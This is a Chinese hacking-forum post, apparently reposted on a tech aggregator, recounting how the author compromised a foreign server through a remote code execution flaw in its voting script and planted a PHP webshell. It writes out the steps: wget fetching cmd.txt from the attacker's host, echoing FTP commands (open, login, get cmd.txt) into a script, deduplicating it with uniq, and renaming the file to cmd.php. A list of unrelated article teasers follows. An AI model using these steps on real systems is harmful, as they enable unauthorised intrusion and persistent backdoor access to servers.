linux php 如何上传webshell,linux+apache+php的一次拿webshell的心得

首先俺先声明俺是个菜鸟,俺虽然是菜鸟但俺不会一直是菜鸟的(一旁兄弟喊到:别俺,俺,俺的,说普通话!)。俺,不对,我一直遵照着实践是检验真理的唯一标准这句话学习技术,这不,刚刚实践了一次有了一点小小的心得,拿出来和大家分享一下:)

简单介绍一下背景吧(旁白:我kao,你写小说呢?),我一直想拿一个TK国的肉鸡(没有仇啊,只是从来没拿过,想要!),于是google了一个,然后一阵狂扫(哎,固有思路的错)废了半天劲,结果是没戏!正准备走的时候发现了它用的一个投票系统,于是满大街找终于找到了下载地址。dwon下来后,开始阅读代码(当时很激动,第一次尝试漏洞发掘!),结果居然被我找到了一个远程代码执行的漏洞,乎乎,赶紧试了一下,成功!看样子,我要发财了。于是看了看safe_mode=OFF,嘿嘿~~可以执行shell命令。下面的思路很显然了,就是拿webshell。原来在win中碰到mssql可以执行命令的情况最简单的办法就是用echo写入一句话后门,于是赶紧找来php的一句话后门,结果一看傻了眼。linux shell中">","

1。使用单引号将要转义的字符包含起来

2。在需要转义的字符前加上“\”符号。

正要兴冲冲地修改一句话后门,才想起来还没看看目标机器的magic_quotes_gpc是怎么设置的。一想到这心里凉了一大节,一般都是ON的啊。实践检验真理,果然被我言中了。因为它一ON,所有的单引号,还有空字符,以及“\”等字符前面又被加上了一个“\”。我的一句后门被改的面目全非还执行个P啊:-(

一条路断了,接着找另一条。想到wget下载的方法,这个以前看过很多前辈用过,于是先看看wget存不存在,如图(图中我是为了方便,自己写的一个exp。):

22525.html=800) window.open('/Article/UploadPic/2007-2/2007210454786.jpg');" src="/Article/UploadPic/2007-2/2007210454786.jpg" οnlοad="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0>

看样子是存在的。于是把一个执行cmd功能的php文件cmd.php改成cmd.txt上传到自己的web空间(记得要改后缀啊,因为直接请求一个php文件返回的结果是解析过的,肯定不对的了!),在exp环境中输入wget http://www.myhost.com/cmd.txt。结果等了半天却是失败了(后来我又

google了几个有漏洞的站,只有一个使用wget下载成功的。其它的都失败了!:-()

一条路又没了,哎~~~接着想吧!突然想起来原来在win下使用ftp命令上传webshell的方法,于是回忆了一下过程:

1。使用echo命令把ftp指令echo到一个文本文件里

2。使用 ftp的-s选项制订这个文本文件,这样下载的整个过程都不需要人工干预了。

好,说干就干!需要echo的内容如下:

echo open 111.111.111.111 >temp.txt

echo username >>temp.txt

echo passwd >>temp.txt

echo get cmd.txt >>temp.txt

echo bye >>temp.txt

上面的ip和用户名和密码都是假的,你问我为什么?(我kao,我怕哪为大哥把我的ftp给做了:-)实际用的时候换成你自己的就行了,好,开始在exp环境下echo,一会的功夫就echo完了。确保正确我们在cat一下看看吧:cat ./temp.txt,这一cat不要紧,我又惊了一次!里面的每一行都被重复了一次,如图(这个是我事后为了写这个文章重新做的,所以忘了在最前面echo open 111.111.111.111了,大家知道就行!:-)

22525.html=800) window.open('http://forum.eviloctal.com/attachment/Mon_0701/10_72248_1be50d4c79fba15.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0701/10_72248_1be50d4c79fba15.jpg" οnlοad="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0>

面对这个问题,再次我让我想到在win+mssql情况下也碰到这样的问题,原因是由于对数据库多次查询造成的结果。当时的解决办法有很多,常用的有:

1。如果写入的是一句话后门可以直接echo进去,使用“>”而不是“>>”。

2。写入hget.vbs,用来下载指定的文件。这个时候可以才用“:”符号把各行代码连接起来,一次性写入。

3。或者是用echo把每行代码都echo到一个不同的文件,然后再用copy命令把这些文件的内容连接起来生成新的文件。

还有其它的方法我就不多说了,但很明显,这些方法用在我这里是肯定不行的了!因为我查了一下,cp命令好像不支持“+”连接符。难道没办法了吗?NO!方法是人想出来的,于是乎我查来查去还真让我找到了一个宝贝:uniq命令,这个是linux shell下的自带程序,功能很单一,但恰恰是我们需要的——去除重复行。我再kao一次,thank god!命令帮助如下:

QUOTE:

$ uniq --help

Usage: uniq [OPTION]... [INPUT [OUTPUT]]

Discard all but one of successive identical lines from INPUT (or

standard input), writing to OUTPUT (or standard output).

Mandatory arguments to long options are mandatory for short options too.

-c, --count       prefix lines by the number of occurrences

-d, --repeated     only print duplicate lines

-D, --all-repeated[=delimit-method] print all duplicate lines

delimit-method={none(default),prepend,separate}

Delimiting is done with blank lines.

-f, --skip-fields=N   avoid comparing the first N fields

-i, --ignore-case   ignore differences in case when comparing

-s, --skip-chars=N   avoid comparing the first N characters

-u, --unique       only print unique lines

-w, --check-chars=N   compare no more than N characters in lines

--help   display this help and exit

--version output version information and exit

A field is a run of whitespace, then non-whitespace characters.

Fields are skipped before chars.

Report bugs to .

常搞黑的应该能认出大多数单词了,我就不多做介绍了。反正用在我这里,就这么简单一句命令就可以搞定:uniq temp.txt >down.txt,如图:

22525.html=800) window.open('http://forum.eviloctal.com/attachment/Mon_0701/10_72248_9188d83bdf39436.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0701/10_72248_9188d83bdf39436.jpg" οnlοad="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0>

哈哈,成了吧?下面用法就很简单了,在exp的提示符下输入ftp

下面的工作就好办了,使用mv改个名字就行了:mv ./cmd.txt ./cmd.php

到这里就结束了,我原来在交流版块发过一个求助的帖子,除了几个兄弟回帖外便没有什么价值的东西了。我也是菜鸟,和大多数菜鸟都有一个很不好的习惯:不懂就问。哎~~~其实有些东西不是咱们比老鸟差,而是我们太懒太不知道总结了,所以我们应该是不懂就学,而不是不懂就问!这样,我们才会从菜鸟变成老鸟,才能进步!

上面乃是自己的经验总结,看上去很简单,可是却耗费了我不少精力,所以如果您不喜欢请不要打击我,回个帖鼓励鼓励我,我会很感激的。谢谢!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/551345.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

paddle 56 将图像分类模型嵌入到目标检测中并实现端到端的部署(用图像分类模型进行目标检测切片分类)

目标检测在功能上一直是涵盖了图像分类的,其包含目标切片检测,目标切片分类。由于某些原因,需要将目标检测的功能退化为检测,忽略其切片分类,使用外部的分类模型。然而这样操作会使得其与原始的部署代码不兼容,为此博主实现将图像分类模型嵌入到目标检测中,并实现端到端…

python3图像识别地类_机器学习零基础?手把手教你用TensorFlow搭建图像识别系统(三)| 干货...

原标题:机器学习零基础?手把手教你用TensorFlow搭建图像识别系统(三)| 干货雷锋网按:本文是介绍用TensorFlow构建图像识别系统的第三部分。 在前两部分中,我们构建了一个softmax分类器来标记来自CIFAR-10数据集的图像,实现了约25…

织梦php重新安装教程,织梦CMS系统后台重装的操作教程

原标题:织梦CMS系统后台重装的操作教程网站在线运行,不可能一点问题都不存在,或者当初的网站设计、架构、功能已经不能满足现在用户的需求,所以我们会对网站做出相应的改动。网站除了前端的改版,还会有后台系统重装、服…

mpu9250姿态融合算法_基于投票方式的机器人装配姿态估计

作者:仲夏夜之星来源:公众号 3D视觉工坊链接:基于投票方式的机器人装配姿态估计论文题目:《Voting-Based Pose Estimation for Robotic Assembly Using a 3D Sensor》这篇文章被发表在2012年的IEEE International Conference on R…

java安卓浏览器下载文件,JAVA实现文件下载,浏览器端得到数据没反应解决方案

JAVA实现文件下载,浏览器端得到数据没反应代码如下public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {//得到要下载的文件名称String filenamerequest.getParameter("filename");//文件存放的路径…

python如何读取kepsever_python linecache读取过程

最近使用Python编写日志处理脚本时,对Python的几种读取文件的方式进行了实验。其中,linecache的行为引起了我的注意。Python按行读取文件的经典方式有以下几种:with open(blabla.log, r) as f:for line in f.readlines():## do somethingwith…

skywalking原理_微服务链路追踪原理

作者:平也来源:关爱程序员社区背景介绍在微服务横行的时代,服务化思维逐渐成为了程序员的基本思维模式,但是,由于绝大部分项目只是一味地增加服务,并没有对其妥善管理,当接口出现问题时&#xf…

php 上次登陆时间,php使用cookie显示用户上次访问网站日期的方法

本文实例讲述了php使用cookie显示用户上次访问网站日期的方法。分享给大家供大家参考。具体实现方法如下&#xff1a;<?php if(!empty($_COOKIE[lastvisit])){//先判断&#xff0c;是否存在cookieecho "您上次访问时间是&#xff1a;".$_COOKIE[lastvisit];setCo…

文本分析软件_读书笔记:伍多库卡茨质性文本分析:方法、实践与软件使用指南...

读书笔记&#xff1a;伍多库卡茨《质性文本分析&#xff1a;方法、实践与软件使用指南》一、这篇文章、这本书或这篇论文的中心思想、核心观点是什么&#xff1f;核心观点&#xff1a;质性数据如何系统化分析&#xff1f;三大主要方法&#xff1a;主题分析、评估分析和类型建构…

php 分析url函数,PHP 解析URL函数 parse_url()函数

在PHP中 parse_url()函数的使用&#xff0c;parse_url—解析 URL&#xff0c;返回其组成部分。mixed parse_url ( string $url [, int $component -1 ] )本函数解析一个 URL 并返回一个关联数组&#xff0c;包含在 URL 中出现的各种组成部分。本函数不是用来验证给定 URL的合法…

python的知识点运用_程序猿在Python编程中不得不使用的十二种基础知识

Python编程中常用的12种基础知识&#xff0c;其中肯定有你不会的&#xff01;人生苦短&#xff0c;我用Python1、正则表达式替换目标: 将字符串line中的 overview.gif 替换成其他字符串。人生苦短&#xff0c;我用Python2、遍历目录方法在某些时候&#xff0c;我们需要遍历某个…

matlab两轮自平衡小车,两轮自平衡小车(全部设计资料+设计分析)

自己做的自平衡小车&#xff0c;基本达到预期效果。制作资料在压缩包里面&#xff0c;供参考。该两轮自平衡小车硬件设计概述&#xff1a;控制器&#xff1a;ATmega16&#xff1b;8MHz&#xff1b;加速度传感器&#xff1a;MMA2260&#xff1b;陀螺仪&#xff1a;EWTS82&#x…

异步fifo_【推荐】数字芯片异步FIFO设计经典论文

之前有一篇文章我已经推荐过了数字芯片跨时钟域设计的经典论文 &#xff08;【推荐】数字芯片跨时钟域设计经典论文 &#xff09;&#xff0c;希望看过的读者都有一定的收获。不过有点遗憾的是那片论文中虽然提到了异步FIFO&#xff0c;却没有讲具体的原理和设计细节。本篇文章…

matlab启动不了jvm,MATLAB ::在-nojvm启动选项下不再支持此功能

我正在终端中运行Matlab代码&#xff0c;因为稍后我需要在php中调用此代码。但是我得到这些错误&#xff1a;MATLAB ::在-nojvm启动选项下不再支持此功能[email protected]:~/Desktop/v1.2$ matlab -nojvm < matlab.m错误&#xff1a;L2 norm on unsampled vertices: 0.0961…

linux搭建vsftp服务器_Linux配置VSFTP服务器的方法

下面小编就为大家带来一篇Linux配置VSFTP服务器的方法。小编觉得挺不错的&#xff0c;现在就分享给大家&#xff0c;也给大家做个参考。一起跟随小编过来看看吧一、Linux FTP服务器分类&#xff1a;<1>wu-ftp<2>proftpprofession ftp<3>vsftpvery security f…

php active控件,php – 使用TbActiveForm选择列表中的动态选项

我在控制器中有以下代码,$modelnew Guessgame(search);$model->unsetAttributes(); // clear any default valuesif(isset($_GET[Guessgame]))$model->attributes$_GET[Guessgame];$this->render(admin,array(model>$model,));在视图文件中,<?php $form$this-&…

golang 函数传多个参数_关于Golang中方法参数的传递

结构体声明为了说明函数以及方法调用的过程&#xff0c;这里先定义一个struct&#xff0c;在下面的描述中会使用到它。type Person struct {Name stringAge uint16}普通函数中的参数传递在Golang中&#xff0c;普通函数的行参如果是值类型&#xff0c;那么调用的实参也必须是实…

workbook对象需要关闭_XSSFWorkbook对象 进行zip打包时 用write资源流自动关闭处理办法...

xssfworkbook对象的write方法内会将传入的资源流自动关闭 导致下载excel失败错误代码outputstream out response.getoutputstream();zipoutputstream zos new zipoutputstream(out);xssfworkbook workbook new xssfworkbook();// 将文件写入zip内&#xff0c;即将文件进行打…

php for 脚本,php for循环脚本。

$dir "./$time/";$info deepScanDir($dir);for($i0; $i system("/usr/sbin/php temp.php \($i\).txt output\($i\).txt");}deepScanDir是循环文件夹下的所有文件。现在这个循环一次执行一次这个命令&#xff0c;我想弄一个&#xff0c;循环一次执行很多个…

autowired的对象为null_spring-为什么我的@Autowired对象为null?

我有下面的JSF托管bean&#xff1a;package com.example;import java.io.Serializable;import javax.faces.bean.ManagedBean;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Component;ComponentManagedBeanpublic cl…